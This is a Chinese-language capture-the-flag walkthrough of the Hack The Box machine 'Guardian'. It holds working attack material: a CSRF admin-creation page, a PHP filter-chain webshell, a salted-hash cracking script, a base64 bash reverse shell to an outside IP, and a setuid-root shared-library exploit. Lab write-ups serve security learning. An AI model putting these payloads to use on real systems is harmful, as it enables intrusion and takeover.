Box Info #
OS | Difficulty |
---|---|
Linux | Hard |
Nmap #
[root@Hacking] /home/kali/Guardian
❯ nmap guardian.htb -A
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 9c:69:53:e1:38:3b:de:cd:42:0a:c8:6b:f8:95:b3:62 (ECDSA)
|_ 256 3c:aa:b9:be:17:2d:5e:99:cc:ff:e1:91:90:38:b7:39 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Guardian University - Empowering Future Leaders
|_http-server-header: Apache/2.4.52 (Ubuntu)
Portal #
在页面源码中发现了子域名portal.guardian.htb
进入portal之后可以发现是一个登录页面
Guardian University Student Portal Guide
Welcome to the Guardian University Student Portal! This guide will help you get started and
ensure your account is secure. Please read the instructions below carefully.
Important Login Information:
1. Your default password is: GU1234
2. For security reasons, you must change your password immediately after your first login.
3. To change your password:
- Log in to the student portal.
- Navigate to 'Account Settings' or 'Profile Settings'.
- Select 'Change Password' and follow the instructions.
Portal Features:
The Guardian University Student Portal offers a wide range of features to help you manage
your academic journey effectively. Key features include:
- Viewing your course schedule and timetables.
- Accessing grades and academic records.
- Submitting assignments and viewing feedback from faculty.
- Communicating with faculty and peers via the messaging system.
- Staying updated with the latest announcements and notices.
Tips for First-Time Users:
- Bookmark the portal login page for quick access.
- Use a strong, unique password for your account.
- Familiarize yourself with the portal layout and navigation.
- Check your inbox regularly for important updates.
Need Help?
If you encounter any issues while logging in or changing your password, please contact the
IT Support Desk at:
Email: support@guardian.htb
Remember, your student portal is the gateway to your academic journey at Guardian
University. Keep your credentials secure and never share them with anyone.
至少目前知道了一个默认密码是:GU1234。
回到guardian.htb的首页,可以看到三个学生的邮箱
username: GU0142023
password: GU1234
登录进去后查看chat留言,发现在URL中有传参的ID
[root@Hacking] /home/kali/Guardian
❯ seq 1 20 > nums.txt
[root@Hacking] /home/kali/Guardian
❯ ffuf -u 'http://portal.guardian.htb/student/chat.php?chat_users[0]=FUZZ1&chat_users[1]=FUZZ2' -w nums.txt:FUZZ1 -w nums.txt:FUZZ2 -mode clusterbomb -H 'Cookie: PHPSESSID=rot1bg6eg8f8t0tpu843qldn0h' -fl 178,164
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://portal.guardian.htb/student/chat.php?chat_users[0]=FUZZ1&chat_users[1]=FUZZ2
:: Wordlist : FUZZ1: /home/kali/Guardian/nums.txt
:: Wordlist : FUZZ2: /home/kali/Guardian/nums.txt
:: Header : Cookie: PHPSESSID=rot1bg6eg8f8t0tpu843qldn0h
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response lines: 178,164
________________________________________________
[Status: 200, Size: 7306, Words: 3055, Lines: 185, Duration: 110ms]
* FUZZ1: 2
* FUZZ2: 1
[Status: 200, Size: 7302, Words: 3055, Lines: 185, Duration: 110ms]
* FUZZ1: 1
* FUZZ2: 2
:: Progress: [400/400] :: Job [1/1] :: 104 req/sec :: Duration: [0:00:02] :: Errors: 0 ::
得到了一个gitea的密码,并且右边回复者的名称是jamil.enockson
username: jamil.enockson@guardian.htb
password: DHsNnk3V503
在底部发现gitea的版本号是1.23.7(这个版本没找到漏洞),并且还存在admin用户
XSS #
查看一下项目依赖
Token Of Lecturer #
漏洞部分源码
// Construct HTML
$html = '';
// Only if there are more than 1 sheets
if (count($sheets) > 1) {
// Loop all sheets
$sheetId = 0;
$html .= '<ul class="navigation">' . PHP_EOL;
foreach ($sheets as $sheet) {
$html .= ' <li class="sheet' . $sheetId . '"><a href="#sheet' . $sheetId . '">' . $sheet->getTitle() . '</a></li>' . PHP_EOL;
++$sheetId;
}
$html .= '</ul>' . PHP_EOL;
}
下面的简单分析:
- 受影响函数:
generateNavigation()
- 问题:
$sheet->getTitle()
直接拼接到 HTML<a>
标签里,没有htmlspecialchars()
。 - 场景:当 XLSX 有多个工作表时,会生成一个导航菜单。
- 攻击者只要能控制 Excel 表的 工作表名称,就能触发。
利用条件
- 攻击者需要上传或让受害者打开 恶意构造的 XLSX 文件。
- 服务器端用
PhpSpreadsheet\Writer\Html
转换为 HTML 并输出。 - 用户访问这个转换后的页面时,XSS 就触发。
这里有个问题就是WPS、一些python库以及一些在线编辑网站限制了sheet的名称长度或者特殊字符。下面这个网站还可以使用👇
然后监听到了token
[root@Hacking] /home/kali/Guardian
❯ echo UEhQU0VTU0lEPWs2N3I4aGNvMjNnOGh0dXFiNThlNDd2azI5 | base64 -d
PHPSESSID=k67r8hco23g8htuqb58e47vk29
Create Admin user #
<?php
require '../includes/auth.php';
require '../config/db.php';
require '../models/User.php';
require '../config/csrf-tokens.php';
$token = bin2hex(random_bytes(16));
add_token_to_pool($token);
if (!isAuthenticated() || $_SESSION['user_role'] !== 'admin') {
header('Location: /login.php');
exit();
}
$config = require '../config/config.php';
$salt = $config['salt'];
$userModel = new User($pdo);
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$csrf_token = $_POST['csrf_token'] ?? '';
if (!is_valid_token($csrf_token)) {
die("Invalid CSRF token!");
}
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
$full_name = $_POST['full_name'] ?? '';
$email = $_POST['email'] ?? '';
$dob = $_POST['dob'] ?? '';
$address = $_POST['address'] ?? '';
$user_role = $_POST['user_role'] ?? '';
// Check for empty fields
if (empty($username) || empty($password) || empty($full_name) || empty($email) || empty($dob) || empty($address) || empty($user_role)) {
$error = "All fields are required. Please fill in all fields.";
} else {
$password = hash('sha256', $password . $salt);
$data = [
'username' => $username,
'password_hash' => $password,
'full_name' => $full_name,
'email' => $email,
'dob' => $dob,
'address' => $address,
'user_role' => $user_role
];
if ($userModel->create($data)) {
header('Location: /admin/users.php?created=true');
exit();
} else {
$error = "Failed to create user. Please try again.";
}
}
}
?>
csrf_token的逻辑部分可以在csrf-tokens.php里看到
<?php
$global_tokens_file = __DIR__ . '/tokens.json';
function get_token_pool()
{
global $global_tokens_file;
return file_exists($global_tokens_file) ? json_decode(file_get_contents($global_tokens_file), true) : [];
}
function add_token_to_pool($token)
{
global $global_tokens_file;
$tokens = get_token_pool();
$tokens[] = $token;
file_put_contents($global_tokens_file, json_encode($tokens));
}
function is_valid_token($token)
{
$tokens = get_token_pool();
return in_array($token, $tokens);
}
也就是说,这里csrf_token没有删除逻辑,随便找一个使用过的都可以。写一个exploit.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF Exploit</title>
</head>
<body>
<h1>CSRF Exploit Test</h1>
<form id="csrfForm" action="http://portal.guardian.htb/admin/createuser.php" method="POST">
<input type="hidden" name="username" value="attacker">
<input type="hidden" name="password" value="P@ssw0rd123">
<input type="hidden" name="full_name" value="Attacker User">
<input type="hidden" name="email" value="attacker@example.com">
<input type="hidden" name="dob" value="1990-01-01">
<input type="hidden" name="address" value="123 Hackers Street">
<input type="hidden" name="user_role" value="admin">
<input type="hidden" name="csrf_token" value="4263a883187460991d60f1bf9c6d332f">
</form>
<script>
document.getElementById('csrfForm').submit();
</script>
</body>
</html>
username: attacker
password: P@ssw0rd123
LFI #
来到Reports,发现URL中有文件参数
<?php
require '../includes/auth.php';
require '../config/db.php';
if (!isAuthenticated() || $_SESSION['user_role'] !== 'admin') {
header('Location: /login.php');
exit();
}
$report = $_GET['report'] ?? 'reports/academic.php';
if (strpos($report, '..') !== false) {
die("<h2>Malicious request blocked 🚫 </h2>");
}
if (!preg_match('/^(.*(enrollment|academic|financial|system)\.php)$/', $report)) {
die("<h2>Access denied. Invalid file 🚫</h2>");
}
?>
👉 如果路径里包含 ..
(目录穿越尝试),就直接拒绝。
👉只允许四类文件:enrollment.php
、academic.php
、financial.php
、system.php
(以及它们可能带路径前缀的情况)。如果不匹配,直接拒绝。
实际上这里可以使用php_filter_chains来进行攻击,在最后面拼接system.php不会影响执行结果,如下
http://portal.guardian.htb/admin/reports.php?report=PHP_FILTER_CHAINS,system.php
[root@Hacking] /home/kali/Desktop/php_filter_chain_generator (main)
❯ python php_filter_chain_generator.py --chain '<?php eval($_POST["a"]);?>'
Crack Pass #
数据库端口开放,上面也知道数据库的密码,因此可以直接连
www-data@guardian:~/portal.guardian.htb/admin$ ss -tuln
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
查看用户表得到哈希
mysql> select username,password_hash from users;
+--------------------+------------------------------------------------------------------+
| username | password_hash |
+--------------------+------------------------------------------------------------------+
| admin | 694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6 |
| jamil.enockson | c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250 |
| mark.pargetter | 8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e |
| valentijn.temby | 1d1bb7b3c6a2a461362d2dcb3c3a55e71ed40fb00dd01d92b2a9cd3c0ff284e6 |
| leyla.rippin | 7f6873594c8da097a78322600bc8e42155b2db6cce6f2dab4fa0384e217d0b61 |
| perkin.fillon | 4a072227fe641b6c72af2ac9b16eea24ed3751211fb6807cf4d794ebd1797471 |
| cyrus.booth | 23d701bd2d5fa63e1a0cfe35c65418613f186b4d84330433be6a42ed43fb51e6 |
| sammy.treat | c7ea20ae5d78ab74650c7fb7628c4b44b1e7226c31859d503b93379ba7a0d1c2 |
| crin.hambidge | 9b6e003386cd1e24c97661ab4ad2c94cc844789b3916f681ea39c1cbf13c8c75 |
| myra.galsworthy | ba227588efcb86dcf426c5d5c1e2aae58d695d53a1a795b234202ae286da2ef4 |
| mireielle.feek | 18448ce8838aab26600b0a995dfebd79cc355254283702426d1056ca6f5d68b3 |
| vivie.smallthwaite | b88ac7727aaa9073aa735ee33ba84a3bdd26249fc0e59e7110d5bcdb4da4031a |
| GU0142023 | 5381d07c15c0f0107471d25a30f5a10c4fd507abe322853c178ff9c66e916829 |
| GU6262023 | 87847475fa77edfcf2c9e0973a91c9b48ba850e46a940828dfeba0754586938f |
| GU0702025 | 48b16b7f456afa78ba00b2b64b4367ded7d4e3daebf08b13ff71a1e0a3103bb1 |
| GU0762023 | e7ff40179d9a905bc8916e020ad97596548c0f2246bfb7df9921cc8cdaa20ac2 |
| GU9492024 | 8ae72472bd2d81f774674780aef36fc20a0234e62cdd4889f7b5a6571025b8d1 |
| GU9612024 | cf54d11e432e53262f32e799c6f02ca2130ae3cff5f595d278d071ecf4aeaf57 |
| GU7382024 | 7852ec8fcfded3f1f6b343ec98adde729952b630bef470a75d4e3e0da7ceea1a |
| GU6632023 | 98687fb5e0d6c9004c09dadbe85b69133fd24d5232ff0a3cf3f768504e547714 |
| GU1922024 | bf5137eb097e9829f5cd41f58fc19ed472381d02f8f635b2e57a248664dd35cd |
| GU8032023 | 41b217df7ff88d48dac1884a8c539475eb7e7316f33d1ca5a573291cfb9a2ada |
| GU5852023 | e02610ca77a91086c85f93da430fd2f67f796aab177c88d789720ca9b724492a |
| GU0712023 | e6aad48962fd44e506ac16d81b5e4587cad2fd2dc51aabbf193f4fd29d036a7a |
| GU1592025 | 1710aed05bca122521c02bff141c259a81a435f900620306f92b840d4ba79c71 |
| GU1112023 | 168ae18404da4fff097f9218292ae8f93d6c3ac532e609b07a1c1437f2916a7d |
| GU6432025 | a28e58fd78fa52c651bfee842b1d3d8f5873ae00a4af56a155732a4a6be41bc6 |
| GU3042024 | d72fc47472a863fafea2010efe6cd4e70976118babaa762fef8b68a35814e9ab |
| GU1482025 | be0145f24b8f6943fd949b7ecaee55bb9d085eb3e81746826374c52e1060785f |
| GU3102024 | 3aa2232d08262fca8db495c84bd45d8c560e634d5dff8566f535108cf1cc0706 |
| GU7232023 | 4813362e8d6194abfb20154ba3241ade8806445866bce738d24888aa1aa9bea6 |
| GU8912024 | 6c249ab358f6adfc67aecb4569dae96d8a57e3a64c82808f7cede41f9a330c51 |
| GU4752025 | 4d7625ec0d45aa83ef374054c8946497a798ca6a3474f76338f0ffe829fced1a |
| GU9602024 | 6eeb4b329b7b7f885df9757df3a67247df0a7f14b539f01d3cb988e4989c75e2 |
| GU4382025 | 8d57c0124615f5c82cabfdd09811251e7b2d70dcf2d3a3b3942a31c294097ec8 |
| GU7352023 | 8c9a8f4a6daceecb6fff0eae3830d16fe7e05a98101cb21f1b06d592a33cb005 |
| GU3042025 | 1d87078236f9da236a92f42771749dad4eea081a08a5da2ed3fa5a11d85fa22f |
| GU3872024 | 12a2fe5b87191fedadc7d81dee2d483ab2508650d96966000f8e1412ca9cd74a |
| GU7462025 | 5e95bfd3675d0d995027c392e6131bf99cf2cfba73e08638fa1c48699cdb9dfa |
| GU3902023 | 6b4502ad77cf9403e9ac3338ff7da1c08688ef2005dae839c1cd6e07e1f6409b |
| GU1832025 | 6ab453e985e31ef54419376be906f26fff02334ec5f26a681d90c32aec6d311f |
| GU3052024 | 1cde419d7f3145bcfcbf9a34f80452adf979f71496290cf850944d527cda733f |
| GU3612023 | 7ba8a71e39c1697e0bfa66052285157d2984978404816c93c2a3ddaba6455e3a |
| GU7022023 | 7a02cc632b8cb1a6f036cb2c963c084ffea9184a92259d932e224932fdad81a8 |
| GU1712025 | ebfa2119ebe2aaed2c329e25ce2e5ed8efa2d78e72c273bb91ff968d02ee5225 |
| GU9362023 | 8b7ce469fb40e88472c9006cb1d65ffa20b2f9c41e983d49ca0cdf642d8f1592 |
| GU5092024 | 11ae26f27612b1adca57f14c379a8cc6b4fc5bdfcfd21bef7a8b0172b7ab4380 |
| GU5252023 | 70a03bb2060c5e14b33c393970e655f04d11f02d71f6f44715f6fe37784c64fa |
| GU8802025 | 7ae4ac47f05407862cb2fcd9372c73641c822bbc7fc07ed9d16e6b63c2001d76 |
| GU2222023 | d3a175c6e9da02ae83ef1f2dd1f59e59b8a63e5895b81354f7547714216bbdcd |
| GU9802023 | a03da309de0a60f762ce31d0bde5b9c25eb59e740719fc411226a24e72831f5c |
| GU3122025 | e96399fcdb8749496abc6d53592b732b1b2acb296679317cf59f104a5f51343a |
| GU2062025 | 0ece0b43e6019e297e0bce9f07f200ff03d629edbed88d4f12f2bad27e7f4df8 |
| GU3992025 | b86518d246a22f4f5938444aa18f2893c4cccabbe90ca48a16be42317aec96a0 |
| GU1662024 | 5c28cd405a6c0543936c9d010b7471436a7a33fa64f5eb3e84ab9f7acc9a16e5 |
| GU9972025 | 339d519ef0c55e63ebf4a8fde6fda4bca4315b317a1de896fb481bd0834cc599 |
| GU6822025 | 298560c0edce3451fd36b69a15792cbb637c8366f058cf674a6964ff34306482 |
| GU7912023 | 8236b81b5f67c798dd5943bca91817558e987f825b6aae72a592c8f1eaeee021 |
| GU3622024 | 1c92182d9a59d77ea20c0949696711d8458c870126cf21330f61c2cba6ae6bcf |
| GU2002023 | 3c378b73442c2cf911f2a157fc9e26ecde2230313b46876dab12a661169ed6e2 |
| GU3052023 | 2ef01f607f86387d0c94fc2a3502cc3e6d8715d3b1f124b338623b41aed40cf8 |
| GU1462023 | 585aacf74b22a543022416ed771dca611bd78939908c8323f4f5efef5b4e0202 |
| zero | 1598cf89b66bfdece7054344780add5f5d1135efd34cbf5dbb845ac2c2d0f42f |
| attacker | 554fef79f3500e339cb5af09847a95b6dc32bb0d401c35ca50a55ef27807f152 |
+--------------------+------------------------------------------------------------------+
在creatuser.php里面知道了密码的生成逻辑是加盐SHA256,盐值在config.php中
<?php
return [
'db' => [
'dsn' => 'mysql:host=localhost;dbname=guardiandb',
'username' => 'root',
'password' => 'Gu4rd14n_un1_1s_th3_b3st',
'options' => []
],
'salt' => '8Sb)tM1vs1SS'
];
---
$password = hash('sha256', $password . $salt);
逻辑:明文密码 + 盐值 → SHA256。可以写一个python脚本来进行爆破(当然john,hashcat也行)
[root@Hacking] /home/kali/Guardian
❯ cat hashes.txt
admin:694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6
jamil.enockson:c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250
mark.pargetter:8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e
valentijn.temby:1d1bb7b3c6a2a461362d2dcb3c3a55e71ed40fb00dd01d92b2a9cd3c0ff284e6
leyla.rippin:7f6873594c8da097a78322600bc8e42155b2db6cce6f2dab4fa0384e217d0b61
perkin.fillon:4a072227fe641b6c72af2ac9b16eea24ed3751211fb6807cf4d794ebd1797471
cyrus.booth:23d701bd2d5fa63e1a0cfe35c65418613f186b4d84330433be6a42ed43fb51e6
sammy.treat:c7ea20ae5d78ab74650c7fb7628c4b44b1e7226c31859d503b93379ba7a0d1c2
crin.hambidge:9b6e003386cd1e24c97661ab4ad2c94cc844789b3916f681ea39c1cbf13c8c75
myra.galsworthy:ba227588efcb86dcf426c5d5c1e2aae58d695d53a1a795b234202ae286da2ef4
mireielle.feek:18448ce8838aab26600b0a995dfebd79cc355254283702426d1056ca6f5d68b3
vivie.smallthwaite:b88ac7727aaa9073aa735ee33ba84a3bdd26249fc0e59e7110d5bcdb4da4031a
GU0142023:5381d07c15c0f0107471d25a30f5a10c4fd507abe322853c178ff9c66e916829
GU6262023:87847475fa77edfcf2c9e0973a91c9b48ba850e46a940828dfeba0754586938f
GU0702025:48b16b7f456afa78ba00b2b64b4367ded7d4e3daebf08b13ff71a1e0a3103bb1
GU0762023:e7ff40179d9a905bc8916e020ad97596548c0f2246bfb7df9921cc8cdaa20ac2
GU9492024:8ae72472bd2d81f774674780aef36fc20a0234e62cdd4889f7b5a6571025b8d1
GU9612024:cf54d11e432e53262f32e799c6f02ca2130ae3cff5f595d278d071ecf4aeaf57
GU7382024:7852ec8fcfded3f1f6b343ec98adde729952b630bef470a75d4e3e0da7ceea1a
GU6632023:98687fb5e0d6c9004c09dadbe85b69133fd24d5232ff0a3cf3f768504e547714
GU1922024:bf5137eb097e9829f5cd41f58fc19ed472381d02f8f635b2e57a248664dd35cd
GU8032023:41b217df7ff88d48dac1884a8c539475eb7e7316f33d1ca5a573291cfb9a2ada
GU5852023:e02610ca77a91086c85f93da430fd2f67f796aab177c88d789720ca9b724492a
GU0712023:e6aad48962fd44e506ac16d81b5e4587cad2fd2dc51aabbf193f4fd29d036a7a
GU1592025:1710aed05bca122521c02bff141c259a81a435f900620306f92b840d4ba79c71
GU1112023:168ae18404da4fff097f9218292ae8f93d6c3ac532e609b07a1c1437f2916a7d
GU6432025:a28e58fd78fa52c651bfee842b1d3d8f5873ae00a4af56a155732a4a6be41bc6
GU3042024:d72fc47472a863fafea2010efe6cd4e70976118babaa762fef8b68a35814e9ab
GU1482025:be0145f24b8f6943fd949b7ecaee55bb9d085eb3e81746826374c52e1060785f
GU3102024:3aa2232d08262fca8db495c84bd45d8c560e634d5dff8566f535108cf1cc0706
GU7232023:4813362e8d6194abfb20154ba3241ade8806445866bce738d24888aa1aa9bea6
GU8912024:6c249ab358f6adfc67aecb4569dae96d8a57e3a64c82808f7cede41f9a330c51
GU4752025:4d7625ec0d45aa83ef374054c8946497a798ca6a3474f76338f0ffe829fced1a
GU9602024:6eeb4b329b7b7f885df9757df3a67247df0a7f14b539f01d3cb988e4989c75e2
GU4382025:8d57c0124615f5c82cabfdd09811251e7b2d70dcf2d3a3b3942a31c294097ec8
GU7352023:8c9a8f4a6daceecb6fff0eae3830d16fe7e05a98101cb21f1b06d592a33cb005
GU3042025:1d87078236f9da236a92f42771749dad4eea081a08a5da2ed3fa5a11d85fa22f
GU3872024:12a2fe5b87191fedadc7d81dee2d483ab2508650d96966000f8e1412ca9cd74a
GU7462025:5e95bfd3675d0d995027c392e6131bf99cf2cfba73e08638fa1c48699cdb9dfa
GU3902023:6b4502ad77cf9403e9ac3338ff7da1c08688ef2005dae839c1cd6e07e1f6409b
GU1832025:6ab453e985e31ef54419376be906f26fff02334ec5f26a681d90c32aec6d311f
GU3052024:1cde419d7f3145bcfcbf9a34f80452adf979f71496290cf850944d527cda733f
GU3612023:7ba8a71e39c1697e0bfa66052285157d2984978404816c93c2a3ddaba6455e3a
GU7022023:7a02cc632b8cb1a6f036cb2c963c084ffea9184a92259d932e224932fdad81a8
GU1712025:ebfa2119ebe2aaed2c329e25ce2e5ed8efa2d78e72c273bb91ff968d02ee5225
GU9362023:8b7ce469fb40e88472c9006cb1d65ffa20b2f9c41e983d49ca0cdf642d8f1592
GU5092024:11ae26f27612b1adca57f14c379a8cc6b4fc5bdfcfd21bef7a8b0172b7ab4380
GU5252023:70a03bb2060c5e14b33c393970e655f04d11f02d71f6f44715f6fe37784c64fa
GU8802025:7ae4ac47f05407862cb2fcd9372c73641c822bbc7fc07ed9d16e6b63c2001d76
GU2222023:d3a175c6e9da02ae83ef1f2dd1f59e59b8a63e5895b81354f7547714216bbdcd
GU9802023:a03da309de0a60f762ce31d0bde5b9c25eb59e740719fc411226a24e72831f5c
GU3122025:e96399fcdb8749496abc6d53592b732b1b2acb296679317cf59f104a5f51343a
GU2062025:0ece0b43e6019e297e0bce9f07f200ff03d629edbed88d4f12f2bad27e7f4df8
GU3992025:b86518d246a22f4f5938444aa18f2893c4cccabbe90ca48a16be42317aec96a0
GU1662024:5c28cd405a6c0543936c9d010b7471436a7a33fa64f5eb3e84ab9f7acc9a16e5
GU9972025:339d519ef0c55e63ebf4a8fde6fda4bca4315b317a1de896fb481bd0834cc599
GU6822025:298560c0edce3451fd36b69a15792cbb637c8366f058cf674a6964ff34306482
GU7912023:8236b81b5f67c798dd5943bca91817558e987f825b6aae72a592c8f1eaeee021
GU3622024:1c92182d9a59d77ea20c0949696711d8458c870126cf21330f61c2cba6ae6bcf
GU2002023:3c378b73442c2cf911f2a157fc9e26ecde2230313b46876dab12a661169ed6e2
GU3052023:2ef01f607f86387d0c94fc2a3502cc3e6d8715d3b1f124b338623b41aed40cf8
GU1462023:585aacf74b22a543022416ed771dca611bd78939908c8323f4f5efef5b4e0202
zero:1598cf89b66bfdece7054344780add5f5d1135efd34cbf5dbb845ac2c2d0f42f
attacker:554fef79f3500e339cb5af09847a95b6dc32bb0d401c35ca50a55ef27807f152
[root@Hacking] /home/kali/Guardian
❯ cat crack.py
import hashlib
SALT = "8Sb)tM1vs1SS"
WORDLIST = "/usr/share/wordlists/rockyou.txt"
HASH_FILE = "hashes.txt"
def check_password(password: str, target_hash: str) -> bool:
hashed = hashlib.sha256((password + SALT).encode()).hexdigest()
return hashed == target_hash
with open(HASH_FILE, "r") as f:
for line in f:
user, target_hash = line.strip().split(":")
with open(WORDLIST, "r", encoding="latin-1", errors="ignore") as wf:
for pwd in wf:
pwd = pwd.strip()
if check_password(pwd, target_hash):
print(f"[+] Found password for {user}: {pwd}")
break
else:
print(f"[-] Password for {user} not found")
admin:fakebake000
jamil.enockson:copperhouse56
由于存在jamil用户,可以直接尝试切换用户,拿到user.txt
Own mark #
查看sudo
jamil@guardian:~$ sudo -l
Matching Defaults entries for jamil on guardian:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jamil may run the following commands on guardian:
(mark) NOPASSWD: /opt/scripts/utilities/utilities.py
看看源码
#!/usr/bin/env python3
import argparse
import getpass
import sys
from utils import db
from utils import attachments
from utils import logs
from utils import status
def main():
parser = argparse.ArgumentParser(description="University Server Utilities Toolkit")
parser.add_argument("action", choices=[
"backup-db",
"zip-attachments",
"collect-logs",
"system-status"
], help="Action to perform")
args = parser.parse_args()
user = getpass.getuser()
if args.action == "backup-db":
if user != "mark":
print("Access denied.")
sys.exit(1)
db.backup_database()
elif args.action == "zip-attachments":
if user != "mark":
print("Access denied.")
sys.exit(1)
attachments.zip_attachments()
elif args.action == "collect-logs":
if user != "mark":
print("Access denied.")
sys.exit(1)
logs.collect_logs()
elif args.action == "system-status":
status.system_status()
else:
print("Unknown action.")
if __name__ == "__main__":
main()
- 脚本接收一个
action
参数:backup-db
、zip-attachments
、collect-logs
、system-status
。 - 如果执行前三个操作,必须是
mark
用户,否则拒绝访问。 system-status
不受限制,任何用户都能运行。- 内部调用了
utils
模块下的子模块函数(比如db.backup_database()
),实际功能依赖这些模块。
查看utils目录下的文件,发现status.py是可以写入的
jamil@guardian:/opt/scripts/utilities/utils$ id
uid=1000(jamil) gid=1000(jamil) groups=1000(jamil),1002(admins)
jamil@guardian:/opt/scripts/utilities/utils$ ls -al
total 24
drwxrwsr-x 2 root root 4096 Jul 10 14:20 .
drwxr-sr-x 4 root admins 4096 Jul 10 13:53 ..
-rw-r----- 1 root admins 287 Apr 19 08:15 attachments.py
-rw-r----- 1 root admins 246 Jul 10 14:20 db.py
-rw-r----- 1 root admins 226 Apr 19 08:16 logs.py
-rwxrwx--- 1 mark admins 247 Sep 2 06:55 status.py
那么现在的思路就是反弹shell代码写入status.py,然后执行utilities.py
jamil@guardian:/opt/scripts/utilities/utils$ cat status.py
def system_status():
import os
os.system("printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTYuNS80NDQ0IDA+JjEpICY=|base64 -d|bash")
Root #
查看sudo
mark@guardian:~$ sudo -l
Matching Defaults entries for mark on guardian:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mark may run the following commands on guardian:
(ALL) NOPASSWD: /usr/local/bin/safeapache2ctl
将其弄出来反编译
mark@guardian:~$ cat /usr/local/bin/safeapache2ctl > /dev/tcp/10.10.16.5/8888
[root@Hacking] /home/kali/Guardian
❯ nc -lvnp 8888 > safeapache2ctl
listening on [any] 8888 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.84] 47832
下面是反编译的代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *stream; // [rsp+18h] [rbp-1418h]
char s[1024]; // [rsp+20h] [rbp-1410h] BYREF
char resolved[16]; // [rsp+420h] [rbp-1010h] BYREF
unsigned __int64 v7; // [rsp+1428h] [rbp-8h]
v7 = __readfsqword(0x28u);
if ( argc == 3 && !strcmp(argv[1], "-f") )
{
if ( realpath(argv[2], resolved) )
{
if ( (unsigned int)starts_with(resolved, "/home/mark/confs/") )
{
stream = fopen(resolved, "r");
if ( stream )
{
while ( fgets(s, 1024, stream) )
{
if ( (unsigned int)is_unsafe_line(s) )
{
fwrite("Blocked: Config includes unsafe directive.\n", 1uLL, 0x2BuLL, stderr);
fclose(stream);
return 1;
}
}
fclose(stream);
execl("/usr/sbin/apache2ctl", "apache2ctl", "-f", resolved, 0LL);
perror("execl failed");
return 1;
}
else
{
perror("fopen");
return 1;
}
}
else
{
fprintf(stderr, "Access denied: config must be inside %s\n", "/home/mark/confs/");
return 1;
}
}
else
{
perror("realpath");
return 1;
}
}
else
{
fprintf(stderr, "Usage: %s -f /home/mark/confs/file.conf\n", *argv);
return 1;
}
}
其中有一个is_unsafe_line函数,跟进查看
__int64 __fastcall is_unsafe_line(__int64 a1)
{
char s1[32]; // [rsp+10h] [rbp-1030h] BYREF
char v3[16]; // [rsp+30h] [rbp-1010h] BYREF
unsigned __int64 v4; // [rsp+1038h] [rbp-8h]
v4 = __readfsqword(0x28u);
if ( (unsigned int)__isoc99_sscanf(a1, "%31s %1023s", s1, v3) != 2 )
return 0LL;
if ( strcmp(s1, "Include") && strcmp(s1, "IncludeOptional") && strcmp(s1, "LoadModule")
|| v3[0] != 47
|| (unsigned int)starts_with(v3, "/home/mark/confs/") )
{
return 0LL;
}
fprintf(stderr, "[!] Blocked: %s is outside of %s\n", v3, "/home/mark/confs/");
return 1LL;
}
阻止以下情况:
- 指令是
Include
、IncludeOptional
或LoadModule
- 参数是绝对路径(以
/
开头) - 且路径 不在
/home/mark/confs/
下 注意判断的逻辑是|| (unsigned int)starts_with(v3, "/home/mark/confs/") )
,换句话说,只要指令参数在/home/mark/confs/
目录下,那么就视为安全。 用LoadModule
加载恶意.so
获取 Root Shell
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor)) void init() {
setuid(0);
system("chmod +s /bin/bash");
}
写入配置文件
mark@guardian:~$cat <<EOF > /home/mark/confs/exploit.conf
LoadModule evil_module /home/mark/confs/evil.so
EOF
mark@guardian:~$ gcc -shared -fPIC -o /home/mark/confs/evil.so /home/mark/evil.c
mark@guardian:~$ sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/exploit.conf